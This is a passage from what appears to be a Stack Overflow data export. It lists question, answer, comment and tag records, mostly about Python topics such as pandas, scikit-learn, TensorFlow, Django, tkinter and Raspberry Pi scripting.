has body: Assuming you can reload your dataset from a csv import pandas as pd data = '''\ Date values 31/03/14 -0.0123 30/04/14 0.11168 30/06/14 0.0997 31/07/14 0.007 30/09/14 0.886''' # This operation includes reading the dataset, converting Date to Datetime and # setting Date as index df = pd.read_csv(pd.compat.StringIO(data),sep='\s+',parse_dates=['Date'],index_col='Date') # Resample day df = df.resample('D').sum() # or first() or mean() # Remove weekdays smaller than 5 (saturday and sunday) and reset df = df.loc[df.index.weekday &lt; 5].reset_index() print(df.head()) And you get (printing first 5 rows): Date values 0 2014-03-31 -0.0123 1 2014-04-01 NaN 2 2014-04-02 NaN 3 2014-04-03 NaN 4 2014-04-04 NaN Assuming you already loaded your dataset The equivalent assuming you already loaded your dataset (compact). I also added not May or August mask here if you want to exclude those months. df = df.set_index(pd.to_datetime(df.Date)).drop('Date', axis = 1) df = df.resample('D').first() m1 = df.index.weekday &lt; 5 # mask1 (no sat/sun) m2 = ~df.index.month.isin([5,8]) # mask2 (not May or August) df = df.loc[m1 &amp; m2].reset_index()
has comment: http://stackoverflow.com/comment/86193952
accepted answer of: http://stackoverflow.com/q/49593077
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86199416
type: Answer
answers question: http://stackoverflow.com/q/49593077
has comment: http://stackoverflow.com/comment/86200745
has comment: http://stackoverflow.com/comment/86194141

http://stackoverflow.com/a/75112002
has body: i found this package that might help, just provide the jpeg file, but make sure to also check if the image is rgb or grayscale before doing so https://pycad.co/convert-jpg-or-png-images-into-dicom/
type: Answer
has comment: http://stackoverflow.com/comment/132633689
score: 0
answers question: http://stackoverflow.com/q/49588440

http://stackoverflow.com/q/49488313
tagged with: k-means
downvote count: 0
tagged with: cluster-analysis
answer count: 1
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/111330517
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86004046
has title: KMeans in pipeline with GridSearchCV scikit-learn
type: UnansweredQuestion
upvote count: 5
tagged with: python
has body: I want to perform clustering on my text data. To find best text preprocessing parameters I made pipeline and put it in GridSearchCV: text_clf = Pipeline([('vect1', CountVectorizer(analyzer = "word"), ('myfun', MyLemmanization(lemmatize=True, leave_other_words = True)), ('vect2', CountVectorizer(analyzer = "word", max_df=0.95, min_df=2, max_features=2000)), ('tfidf', TfidfTransformer()), ('clust', KMeans(n_clusters=10, init='k-means++', max_iter=100, n_init=1, verbose=1))]) parameters = {'myfun__lemmatize': (True, False), 'myfun__leave_other_words': (True, False)} gs_clf = GridSearchCV(text_clf, parameters, n_jobs=1, scoring=score) gs_clf = gs_clf.fit(text_data) where score score = make_scorer(my_f1, greater_is_better=True) and my_f1 is of form: def my_f1(labels_true, labels_pred): # fancy stuff goes here and is specially designed for clustering So my questions is: how to make that work? How to pass labels_pred, when as a kmeans nature I can only do gs_clf.fit(data) while in classification there is possible: gs_clf.fit(data, labels_true) I know I can write my custom function, like I did with MyLemmanization: class MyLemmanization(BaseEstimator, TransformerMixin): def __init__(self, lemmatize=True, leave_other_words=True): #some code here def do_something_to(self, X): # some code here return articles def transform(self, X, y=None): return self.do_something_to(X) # where the actual feature extraction happens def fit(self, X, y=None): return self # generally does nothing But how and what has to be done to KMeans or other clustering algorithm?
tagged with: pipeline
score: 5
has comment: http://stackoverflow.com/comment/86001374
has answer: http://stackoverflow.com/a/63613119

http://stackoverflow.com/q/49462756
tagged with: python-multithreading
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85951894
has title: Python threading or multi-processing is slower than running same programme in many tabs at the same time
answer count: 0
type: UnansweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/2846653
upvote count: 1
favorite count: 0
tagged with: multiprocessing
type: Question
has body: I'm working on a programme which processes a huge json file and does some analysis before inserting into db In the beginning, my prototype of the programme is divided the json file into n parts. Then they runs independently by script: python data_import.py --start 1 --cluster 6 python data_import.py --start 2 --cluster 6 python data_import.py --start 3 --cluster 6... The performance is pretty good but it's so annoying to create so many tabs when I have to run this. Therefore, I modified the programme with multi-processing like this. def main(): parser = argparse.ArgumentParser( formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--cluster', type=int, default=5, help='number of clusters') parser.add_argument('--total', type=int, default=5701017, help='total number of data') parser.add_argument('--json_path', type=str, default="../Data/output.json", help='location of data source') args = parser.parse_args() manager = Manager() work_count = manager.list() for i in range(0, args.cluster): work_count.append(0) p_logger = setup_logger("Workers", 'done' + '_' + str(args.cluster) + '.log', logging.INFO) try: processes = [] for c in range(1, args.cluster + 1): p = Process(target=update_extractor_result, args=(args, c, work_count, p_logger)) processes.append(p) # Start the processes for p in processes: p.start() # Ensure all processes have finished execution for p in processes: p.join() except Exception as e: print("Error: unable to start thread") def update_extractor_result(args, num_start, work_count, p_logger): logger = setup_logger(__name__, 'error' + str(num_start) + '_' + str(args.cluster) + '.log', logging.ERROR) batch = 1 total_loaded_count = 0 total = args.total - 1 total_works = int(total / args.cluster) done_count = 0 startfrom = int(total_works * (num_start - 1)) endfrom = int(total_works * (num_start)) json_path = args.json_path with open(json_path, 'r', encoding="utf8") as f: for line in f: try: data = json.loads(line) if total_loaded_co…

http://stackoverflow.com/q/49542369
has answer: http://stackoverflow.com/a/49546187
favorite count: 0
type: Question
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49546187
tagged with: tensorflow
has body: I have been working on deployment of a custom estimator (tensorflow model). After training on ml-engine everything is Ok, but when use ml-engine predictions in batch model I could not get the key (or any id of the original input) as you know batch predictions is in distributed mode and "keys" helps to understand which predictions correspond. I found this post where solve this problem, but using a pre-made (canned) tensorflow model (census use case). How can adapt my custom model (tf.contrib.learn.Estimator()) in order to get "keys" in prediction? An example of my output file: {"predicted": [0.04930919408798218, 0.05402487516403198, 0.059984803199768066, 0.017936021089553833]} And my model function is as follows: SEQ_LEN = 12 DEFAULTS = [[0.0] for x in range(0, SEQ_LEN)] BATCH_SIZE = 32 TIMESERIES_COL = 'rawdata' N_OUTPUTS = 4 # in each sequence, 1-8 are features, and 9-12 are labels N_INPUTS = SEQ_LEN - N_OUTPUTS LSTM_SIZE = 10 # number of hidden layers in each of the LSTM cells LAMBDA_L2_REG = 0 # regularization coefficient def simple_rnn(features, targets, mode): # 0. Reformat input shape to become a sequence x = tf.split(features[TIMESERIES_COL], N_INPUTS, 1) #print 'x={}'.format(x) # 1. configure the RNN lstm_cell = tf.contrib.rnn.BasicLSTMCell(LSTM_SIZE, forget_bias=1.0) outputs, _ = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32) # slice to keep only the last cell of the RNN outputs = outputs[-1] #print 'last outputs={}'.format(outputs) # output is result of linear activation of last layer of RNN w = tf.Variable(tf.random_normal([LSTM_SIZE, N_OUTPUTS])) b = tf.Variable(tf.random_normal([N_OUTPUTS])) predictions = tf.matmul(outputs, w) + b # 2. loss function, training/eval ops if mode == tf.contrib.learn.ModeKeys.TRAIN or mode == tf.contrib.learn.ModeKeys.EVAL: l2_reg = tf.reduce_mean(tf.nn.l2_loss(w)) loss = tf.losses.mean_squared_error(targets, predictions)+LAMBDA_L2_REG*l2_reg train_op = tf.contrib.layers.optimize_loss( loss=loss, global_step=tf.co…
linked to: http://stackoverflow.com/q/45433969
type: AnsweredQuestion
has title: How to get 'keys' in batch predictions with ml-engine using a custom model?
tagged with: google-cloud-ml
score: 1
linked to: http://stackoverflow.com/q/49161339
tagged with: python

http://stackoverflow.com/a/49598531
type: Answer
score: 6
answers question: http://stackoverflow.com/q/49582884
has comment: http://stackoverflow.com/comment/111911572
has body: Those are kernel parameters to your SVM/SVC. As you see here:
has comment: http://stackoverflow.com/comment/86238688
upvote count: 7
downvote count: 1

http://stackoverflow.com/comment/86204749
score: 0
type: AnswerComment
has text: i just changed some things and its fine now! thanks for the help @Aran-Fey
comment on: http://stackoverflow.com/a/49598599
type: Comment

http://stackoverflow.com/comment/86374992
has text: Put your edited text as an answer and mark it as "the answer".
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49560675

http://stackoverflow.com/q/49582252
type: Question
possible better answer: http://stackoverflow.com/a/49698514
tagged with: multidimensional-array
has answer: http://stackoverflow.com/a/49698514
has title: Pybind Numpy access 2D / ND arrays
tagged with: pybind11
tagged with: python
accepted answer: http://stackoverflow.com/a/49693704
upvote count: 11
has answer: http://stackoverflow.com/a/49693704
tagged with: numpy
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86176484
answer count: 2
has body: New to pybind - read the documentation but I do not grasp how to apply it to 2D arrays. I have two arrays storing 3d coordinates shape = (10,3) a = np.zeros(shape=(10,3)) b = np.ones(shape=(10,3)) * 3 c = a + b Now, using pybind, how do I perform this operation in C++ working on the numpy arrays? In some documentations I read to access the elements with the [] operator, in others with (). How do assign the 3D vector? How would I get the pointer to the array element to use strides for assignment - or does it have an operator?
tagged with: arrays
downvote count: 0
score: 11
favorite count: 0

indexing
tags question: http://stackoverflow.com/q/49598442
tags question: http://stackoverflow.com/q/49517954
tags question: http://stackoverflow.com/q/49582936
tags question: http://stackoverflow.com/q/49548364
tag name: indexing
tags question: http://stackoverflow.com/q/49479755
tags question: http://stackoverflow.com/q/49476210
tags question: http://stackoverflow.com/q/49544123
type: Tag
tags question: http://stackoverflow.com/q/49597473
tags question: http://stackoverflow.com/q/49515867
tags question: http://stackoverflow.com/q/49465922
tags question: http://stackoverflow.com/q/49543377
tags question: http://stackoverflow.com/q/49583988
tags question: http://stackoverflow.com/q/49592636
tags question: http://stackoverflow.com/q/49493498
tags question: http://stackoverflow.com/q/49502697
tags question: http://stackoverflow.com/q/49495703
tags question: http://stackoverflow.com/q/49567180
tags question: http://stackoverflow.com/q/49494134
tags question: http://stackoverflow.com/q/49458813
tags question: http://stackoverflow.com/q/49468221
tags question: http://stackoverflow.com/q/49501891

http://stackoverflow.com/q/49534873
has comment: http://stackoverflow.com/comment/86079858
tagged with: python
has comment: http://stackoverflow.com/comment/86079287
has comment: http://stackoverflow.com/comment/86081868
tagged with: opencv
has comment: http://stackoverflow.com/comment/86078161
score: 0
answer count: 0
has title: Corrupt JPEG data while run program
type: Question
tagged with: tkinter
type: UnansweredQuestion
has body: I have some problem when i run my program here is my output (In this case i use logitech C310M) But when i use my notebook webcam, it work normally This is my code : frame = vs.read() frame = imutils.resize(frame, width=450) gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cvt = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) img = Image.fromarray(cvt) imgtk = ImageTk.PhotoImage(image=img) lmain.imgtk = imgtk lmain.configure(image=imgtk) i need to show video frame on Tkinter My code also use openCV

http://stackoverflow.com/q/49475022
tagged with: python
has comment: http://stackoverflow.com/comment/85955954
has comment: http://stackoverflow.com/comment/85959885
has comment: http://stackoverflow.com/comment/85953755
has comment: http://stackoverflow.com/comment/85956231
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: gpio
has comment: http://stackoverflow.com/comment/85955905
tagged with: raspberry-pi3
has title: How can I open terminal with GPIO input and run bash script and see the output in realtime?
tagged with: terminal
score: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/85953795
has body: Thank you for reading. I have this pi tft screen with tactile buttons connected to it. When a button is held for two seconds, I´d like to open a terminal and run a bash script. The problem is that I need to view the output/progress of the script in realtime. This python script, which monitors GPIO, works perfectly if a terminal is already open, then I can see the output. from gpiozero import Button from signal import pause import subprocess def runboth(): subprocess.call(["/opt/script/test.sh"]) runboth_btn = Button(17, hold_time=2) runboth_btn.when_held = runboth pause() But if the pythons script is run from boot for example, no terminal will open since I guess it is running in the background? How can I achieve that the script will also open a terminal ? I have tried the following but without luck. from gpiozero import Button from signal import pause import subprocess def runboth(): subprocess.call(["lxterminal", "--command=/opt/script/test.sh"]) runboth_btn = Button(17, hold_time=2) runboth_btn.when_held = runboth pause() I´m met with this error root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/usr/bin/lxterminal --command=/opt/script/test.sh Mar 24 23:24:42 raspberrypi sudo[1315]: pam_unix(sudo:session): session opened for user root by (uid=0) Mar 24 23:24:42 raspberrypi lxterminal[1319]: cannot open display: 0:0 Or if run from terminal lxterminal:1404): Gtk-WARNING **: cannot open display: :0.0 This is the bash scripts I am currently using for test. #!/bin/bash while true; do echo "hello" done I run a Raspberry PI 3, Raspian OS with root privileges. Again, thank you for reading and taking your time!
has comment: http://stackoverflow.com/comment/85956179
has comment: http://stackoverflow.com/comment/85956062

http://stackoverflow.com/q/49550749
score: 1
has body: I am trying to use GPU acceleration in eager mode in tensorflow 1.7rc1, however I keep encountering NotFoundError in various tf functions. The following is my simple test: import tensorflow as tf import tensorflow.contrib.eager as tfe import math import numpy as np tfe.enable_eager_execution() num_sampled=64 vocabulary_size = 512 embedding_size = 128 train_dataset = tf.constant(np.array([1,3,4,5,4])) train_labels = tf.constant(tf.transpose(np.array([[1,2,1,2,0]]))) embeddings = tfe.Variable(tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0)) softmax_weights = tfe.Variable(tf.truncated_normal([vocabulary_size, embedding_size], stddev=1.0 / math.sqrt(embedding_size))) softmax_biases = tfe.Variable(tf.zeros([vocabulary_size])) with tf.device('/gpu:0'): embed = tf.nn.embedding_lookup(embeddings, train_dataset) #the ID can be a list of words loss = tf.reduce_mean(tf.nn.sampled_softmax_loss(weights=softmax_weights, biases=softmax_biases, inputs=embed, labels=train_labels, num_sampled=num_sampled, num_classes=vocabulary_size)) print(loss) And I received the following error: --------------------------------------------------------------------------- NotFoundError Traceback (most recent call last) &lt;ipython-input-4-f6ef06e0fbcf&gt; in &lt;module&gt;() 21 embed = tf.nn.embedding_lookup(embeddings, train_dataset) #the ID can be a list of words 22 loss = tf.reduce_mean(tf.nn.sampled_softmax_loss(weights=softmax_weights, biases=softmax_biases, inputs=embed, ---&gt; 23 labels=train_labels, num_sampled=num_sampled, num_classes=vocabulary_size)) 24 print(loss) C:\ProgramData\Anaconda3\lib\site-packages\tensorflow\python\ops\nn_impl.py in sampled_softmax_loss(weights, biases, labels, inputs, num_sampled, num_classes, num_true, sampled_values, remove_accidental_hits, partition_strategy, name, seed) 1340 partition_strategy=partition_strategy, 1341 name=name, -&gt; 1342 seed=seed) 1343 sampled_losses = nn_ops.softmax_cross_entropy_with_logits( 1344 labels=labels, logits=…
answer count: 1
upvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
downvote count: 0
tagged with: python
has title: NotFoundError on OpKernel when using tf.nn.embedding_lookup in tensorflow eager mode
accepted answer: http://stackoverflow.com/a/49894632
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49894632

http://stackoverflow.com/a/49499228
answers question: http://stackoverflow.com/q/49498614
has comment: http://stackoverflow.com/comment/86007902
score: 0
type: Answer
has body: Nothing screams at me as being incorrect about your xpath, but without knowing the page you are interacting with it's hard to tell. Have you tried searching that xpath in chrome dev tools? Also if possible try to key off of attributes the button has rather than it's index and path. That generally makes for a more robust Xpath. E.G. //button[@attribute="specificAttributeValue"] The // indicates that it is a relative path.

http://stackoverflow.com/comment/85936861
type: AnswerComment
comment on: http://stackoverflow.com/a/49466981
score: 0
type: Comment
has text: @Sraw you are right. However, above request is simple example. I am more looking into making IO calls faster in synchronous codebase, thus can't really use aiohttp.

http://stackoverflow.com/comment/86089094
type: QuestionComment
comment on: http://stackoverflow.com/q/49540872
has text: However, you probably don't want to use `__items` here. That mangles the name so it's slightly harder to access from outside the class, which is mostly used just for avoiding accidental collisions between a class's private attributes and those of its subclasses and superclasses.
score: 1
type: Comment

http://stackoverflow.com/comment/85919502
type: Comment
has text: @glglgl I tried the `"".join` method, and it looks like exactly the sort of thing recommended on the videos of PyCons that I've seen!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49457375

http://stackoverflow.com/q/49477384
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49477468
accepted answer: http://stackoverflow.com/a/49477468
tagged with: pandas
has answer: http://stackoverflow.com/a/49477426
possible better answer: http://stackoverflow.com/a/49477426
tagged with: dataframe
tagged with: multi-index
favorite count: 0
type: Question
upvote count: 2
answer count: 2
downvote count: 0
tagged with: python
has title: Pandas MultiIndex, selecting values by 1. and 2. level
has body: I´ve some problems by selecting values within 1. and 2. level. I´ve got an MultiIndex by setting the header = [0,1] In[1]: df = pd.read_csv('Data.txt', sep='\t', header=[0,1], skipinitialspace=True) In[2]: print(df.columns) Out[2]: MultiIndex( levels=[['20052065', '20052066', '20052082', '20052087', '20052089'], ['CTF1', 'CTF2', 'CTF3', 'CTF_M', 'CTM1', 'CTM2', 'CTM3', 'CTM_M']], labels=[[...]], names=[...]) If it try to get the data of the 2. level value and selected element from 1. level i get the following output: In[3]: print(df['20052065']'CTF1','CTF_M') Out[3]: TIME[s] CTF1 CTF_M 0.000 -14.386 14.963 60.000 -26.937 34.729 120.000 -29.986 58.265 ... ... ... Now i tried to generate the output for 2 Elements and did something like this: In[4]: print(df[['20052065','20052066']]'CTF1','CTF_M') Out[4]: KeyError: "['CTF1' 'CTF_M'] not in index" Somehow this doesn´t work. Maybe you know what terrible went wrong? Thanks for help. Edit: In[1]: print(df) looks like: Out[1]: ELEMENT 20052065 20052066 20052082 20052087 20052089 20052090 \ TIME[s] TEMP[C] CTF1 CTF1 CTF1 CTF1 CTF1 CTF1 0.000 24.000 -4.234 -6.728 -14.386 -4.356 -6.926 -10.205 60.000 36.137 -29.308 -24.795 -26.937 -30.134 -24.735 -23.474 ... ... ... ... ... ... ... ... The *.txt file looks like:

laravel
tags question: http://stackoverflow.com/q/49510143
type: Tag
tag name: laravel

http://stackoverflow.com/q/49525279
type: AnsweredQuestion
score: 0
tagged with: tkinter
answer count: 1
tagged with: textbox
type: Question
has title: How to add a custom tkinter textbox in my Python app?
accepted answer: http://stackoverflow.com/a/49525565
has body: So I have been using python to do my 'ETLs' from SQL to Excel or CSV. I have just found it to be faster and easier than using SSIS. While I do this in Jupyter I thought it would be a fun exercise to package this into an app that I can share with others. I'm not the most versed in tkinter and am trying to add a custom sized textbox that would be a little nicer than standard textbox for copy/pasting query. The issue is when I add the textbox, it instead adjusts the settings for the app window. Here is what I have so far: #Load Libraries import pandas as pd import numpy as np import pyodbc import xlsxwriter from pandas import ExcelWriter import openpyxl import os import datetime from tkinter import * #create window def conVar(): server = e1.get() db = e2.get() un = e3.get() pw = e4.get() conn=("DRIVER={SQL Server};SERVER=%s;DATABASE=%s;UID=%s;PWD=%s" % (server, db, un, pw)) print(conn) root = Tk() root.title("SQL2Excel") root.geometry("500x500") Label(root, text="Server").grid(row=0) Label(root, text="Database").grid(row=1) Label(root, text="Username").grid(row=2) Label(root, text="pw").grid(row=3) Label(root, text="Tables").grid(row=6) Label(root, text="or Enter Query").grid(row=7) variable = StringVar(root) variable.set(" ") w = OptionMenu(root, variable, "test1", "test2", "test3") r = root r.geometry("250x150") t = Text(r, height=20, width=40) e1 = Entry(root) e2 = Entry(root) e3 = Entry(root) e4 = Entry(root, show="*") e1.grid(row=0, column=1) e2.grid(row=1, column=1) e3.grid(row=2, column=1) e4.grid(row=3, column=1) w.grid(row=6, column=1) t.grid(row=8, column=1) Button(root, text='Quit', command=root.destroy).grid(row=4, column=0, sticky=W, pady=4) Button(root, text='Test Connection', command=conVar).grid(row=4, column=1, sticky=W, pady=4) root.mainloop() The idea is that once connection info is entered I will pull a list of tables into the combobox or let the user copy and paste a query into the larger text box. I really feel like I'm missing something easy but …
tagged with: python
has answer: http://stackoverflow.com/a/49525565

http://stackoverflow.com/q/49531005
tagged with: django
has comment: http://stackoverflow.com/comment/86075541
favorite count: 0
type: Question
score: 3
has body: I have a MultipleChoiceField in Django 1.11 and it auto selects the empty value in the rendered output what is not desired. (u'', '(no extra)') should be not auto selected on load. choices = [(u'', '(no extra)'), (u'cheese', u'Cheese'), (u'Pepper', u'Pepper')] extra_topics = forms.MultipleChoiceField(required=False, choices=choices) Is there any flag that I can prevent this?
has comment: http://stackoverflow.com/comment/86069239
accepted answer: http://stackoverflow.com/a/49638210
has answer: http://stackoverflow.com/a/49638210
tagged with: python
has comment: http://stackoverflow.com/comment/86074775
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86072498
possible better answer: http://stackoverflow.com/a/49547178
answer count: 2
has title: Django auto select empty value in multiplechoiecfield
upvote count: 3
has answer: http://stackoverflow.com/a/49547178
downvote count: 0

http://stackoverflow.com/comment/86044299
type: AnswerComment
comment on: http://stackoverflow.com/a/49499494
has text: I'm using Windows 7, it's kind of weird, because even your default layout looks weird when i set it, any guess why?
score: 0
type: Comment

http://stackoverflow.com/comment/85907059
type: AnswerComment
has text: Thanks I know it, however I am looking for a similar solution in Python
score: 0
comment on: http://stackoverflow.com/a/49451689
type: Comment

http://stackoverflow.com/q/49571976
has title: django-mptt get full tree from table
answer count: 0
upvote count: 3
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/86153933
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86152594
tagged with: django
tagged with: python
tagged with: django-mptt
has body: I'm using the app django-mptt to store a small tree structure. In django view, how can I query the entire table in a single query, to get a queryset/list with each instance having a children attribute? So I would like to do: groups = SongGroup.objects.all().values() for group in groups: group['children'] # list of children But as I see in the docs, get_children() will trigger another query? Which I want to avoid, since I've already used all() to query the entire table. I couldn't find a way in the docs to get an actual tree like structure from the table. My model: class SongGroup(MPTTModel): song = models.ForeignKey(Song, on_delete=models.CASCADE) parent = TreeForeignKey('self', null=True, blank=True, related_name='children', db_index=True)
has comment: http://stackoverflow.com/comment/86153968

http://stackoverflow.com/a/49564080
has comment: http://stackoverflow.com/comment/86145314
score: 26
downvote count: 0
type: Answer
has body: ECS by default sends a SIGTERM: StopTask Stops a running task. When StopTask is called on a task, the equivalent of docker stop is issued to the containers running in the task. This results in a SIGTERM and a default 30-second timeout, after which SIGKILL is sent and the containers are forcibly stopped. If the container handles the SIGTERM gracefully and exits within 30 seconds from receiving it, no SIGKILL is sent. Note The default 30-second timeout can be configured on the Amazon ECS container agent with the ECS_CONTAINER_STOP_TIMEOUT variable. For more information, see Amazon ECS Container Agent Configuration in the Amazon Elastic Container Service Developer Guide. Knowing this, you can add a simple check in your app to catch the SIGTERM, and react appropriately.
answers question: http://stackoverflow.com/q/49557637
upvote count: 26
has comment: http://stackoverflow.com/comment/120404951

pca
tag name: pca
tags question: http://stackoverflow.com/q/49497580
tags question: http://stackoverflow.com/q/49556178
tags question: http://stackoverflow.com/q/49526602
type: Tag
tags question: http://stackoverflow.com/q/49466213
tags question: http://stackoverflow.com/q/49586546

http://stackoverflow.com/comment/85961478
type: QuestionComment
has text: Git keeps a copy of each file that is committed, stashed and deleted in the `.git` folder. Then when you make a change to a file, it compares the last committed version of that file in the `.git` folder to the same file in the parent folder (root folder). If the line numbers and or content on that line differs, it assumes you've changed it. That's why sometimes Git think you've changed half of the file when you add a new line in the middle of the file.
comment on: http://stackoverflow.com/q/49478947
score: 0
type: Comment

http://stackoverflow.com/comment/139177595
has text: Yes, this is correct and is what the questioner asked for. To vary the point location(s), the zorder can also be specified for the surface plot and any other plotted lines.
comment on: http://stackoverflow.com/a/78934731
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/49557411
type: UnansweredQuestion
has body: I have an Employee class that has a couple of instances that are ForeignKeys. I am using django rest frame work and I have created also a serializer and the next step is to create a POST method to enable creating of an Employee. Which method can I use conveniently to achieve this? class Employee(models.Model): """ Model, which holds general information of an employee. """ user = models.OneToOneField(User,related_name='users', on_delete=models.CASCADE) photo_logo = models.FileField() phone_regex = RegexValidator(regex=r'^\+?1?\d{9,15}$', message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.") phone_number = models.CharField(validators=[phone_regex], max_length=17, blank=True) # validators should be a list company = models.ForeignKey( 'hr.Company', verbose_name='Company', related_name='companies', null=True, blank=True, ) marital_status = models.ForeignKey(MaritalStatus) identification_type = models.ForeignKey(IdentificationType) Serializers.py class EmployeeSerializer(serializers.ModelSerializer): designation = GroupListSerializer() # department = GroupListSerializer() # user = UserSerializer() # address = AddressSerializer() # em_contact = EmergencyContactSerializer() # address = EmergencyContactSerializer() class Meta: model = Employee fields = ['id','user','photo_logo','phone_number','dob', 'gender', 'hr_number', 'company', 'marital_status', 'identification_type', 'tax_id_number','joining_date', 'designation', 'department']
answer count: 1
tagged with: django
tagged with: django-rest-framework
has title: Which is the easier and convenient way to make post methods for multiple model instances in django
tagged with: django-models
tagged with: python
has answer: http://stackoverflow.com/a/49557608
type: Question
tagged with: python-3.x
score: 0

http://stackoverflow.com/a/49593916
has comment: http://stackoverflow.com/comment/86195586
type: Answer
has comment: http://stackoverflow.com/comment/86195383
score: 2
has comment: http://stackoverflow.com/comment/86195453
upvote count: 2
has comment: http://stackoverflow.com/comment/86195854
downvote count: 0
has comment: http://stackoverflow.com/comment/86195822
has comment: http://stackoverflow.com/comment/86195510
has comment: http://stackoverflow.com/comment/86196194
has body: You can use a list comprehension and then count the list. print("Number of vowels: {}".format(len([vowel for vowel in input() if vowel in "aeiou"]))) The question is asking to count the number of vowels in any string, not just the example azcbobobegghakl, therefore you should replace the fixed string with an input().
answers question: http://stackoverflow.com/q/49593894
has comment: http://stackoverflow.com/comment/86195550

http://stackoverflow.com/comment/86149056
score: 0
has text: That is surprising, you can post it here I guess. I'll take a look.
comment on: http://stackoverflow.com/a/49570459
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49589649
downvote count: 2
accepted answer of: http://stackoverflow.com/q/49589566
has comment: http://stackoverflow.com/comment/86188251
has comment: http://stackoverflow.com/comment/86188369
has comment: http://stackoverflow.com/comment/86187565
type: Answer
answers question: http://stackoverflow.com/q/49589566
upvote count: 4
score: 2
has comment: http://stackoverflow.com/comment/86187516
has comment: http://stackoverflow.com/comment/86189113
has comment: http://stackoverflow.com/comment/86187265
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86187371
has body: To capitalize all the words in a sentence, you can use re.sub and re.findall: import re def capitalize_string(s): return re.sub('(?&lt;=^)[a-z]|(?&lt;=\s)[a-z]', '{}', s).format(*map(str.upper, re.findall('(?&lt;=^)[a-z]|(?&lt;=\s)[a-z]', s))) strings = ['q w e r G H J K M', 'hello world lol', "1 w 2 r 3g"] result = list(map(capitalize_string, strings)) Output: ['Q W E R G H J K M', 'Hello World Lol', '1 W 2 R 3g']
has comment: http://stackoverflow.com/comment/86187490
has comment: http://stackoverflow.com/comment/86187345

http://stackoverflow.com/comment/85941466
comment on: http://stackoverflow.com/q/49469300
type: Comment
type: QuestionComment
score: 0
has text: Thank you for all the help guys! That was extremely fast.

http://stackoverflow.com/comment/86171614
type: Comment
comment on: http://stackoverflow.com/a/49580126
has text: If you want to save to a CSV file and want that file to have the `%` formatting, then just use the `to_string` answer already given to format the floats as desired before saving. You seem to want a perfect solution that makes floats always get displayed in `%` format without actually being stored that way, and that almost certainly doesn't exist. You can also store the `%` formatted version of the float in a second column so that you're not losing your actual float values in the process
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86044748
type: Comment
type: QuestionComment
score: 0
has text: we're going to need to see the code that raised this error
comment on: http://stackoverflow.com/q/49519594

http://stackoverflow.com/a/49714387
answers question: http://stackoverflow.com/q/49563619
has comment: http://stackoverflow.com/comment/92173804
has comment: http://stackoverflow.com/comment/92139770
type: Answer
has body: You should go to the Python Index Page to download the specific whl for your python, then put it into site-packages folder. cd into this folder and use the command pip install XXX.whl Attention you should notice: 1 make sure boost,boost-python,opencv-python have already been installed. 2 use the command print(pip.pep425tags.get_supported()) to learn which specific wheel your python support. 3 The dlib version should match your python version.
score: 0

http://stackoverflow.com/a/49579489
answers question: http://stackoverflow.com/q/49579362
score: 3
upvote count: 3
downvote count: 0
has body: You can sort the list of dict values like: Code: top_three = [(x[1], -x[0]) for x in sorted( (-int(user['time']), user['name']) for user in stats['stats'])][:3] This works by taking the time and the name and building a tuple. The tuples can the be sorted, and then the names can be extracted (via: x[1]) after the sort. Test Code: stats = { "stats": [{ "name": "Jengas", "time": 166, "uid": "177098244407558145", "id": 1 }, { "name": "- k", "time": 20, "uid": "199295228664872961", "id": 2 }, { "name": "MAD MARX", "time": "0", "uid": "336539711785009153", "id": 3 }, { "name": "loli", "time": 20, "uid": "366299640976375818", "id": 4 }, { "name": "Woona", "time": 20, "uid": "246996981178695686", "id": 5 }] } top_three = [x[1] for x in sorted( (-int(user['time']), user['name']) for user in stats['stats'])][:3] print(top_three) Results: [('Jengas', 166), ('- k', 20), ('Woona', 20)]
type: Answer

http://stackoverflow.com/comment/85971167
type: Comment
has text: See also official python [explanation](https://docs.python.org/3.3/using/windows.html)
type: AnswerComment
comment on: http://stackoverflow.com/a/49483927
score: 0

http://stackoverflow.com/q/49570826
tagged with: python
has title: from suds.client import Client failed
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49570927
upvote count: 3
answer count: 1
tagged with: suds
downvote count: 0
has body: I just learn python for not a long time. When I try to use python to write a WCF client, I failed at the start up. just type the command at python shell: from suds.client import Client it failed with: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "C:\Program Files\Python36\lib\site-packages\suds\client.py", line 242 except Exception, e: ^ SyntaxError: invalid syntax How to fix it?
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49570927
score: 3
tagged with: wcf

http://stackoverflow.com/q/49451430
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/49451535
has answer: http://stackoverflow.com/a/49451535
possible better answer: http://stackoverflow.com/a/72729705
favorite count: 0
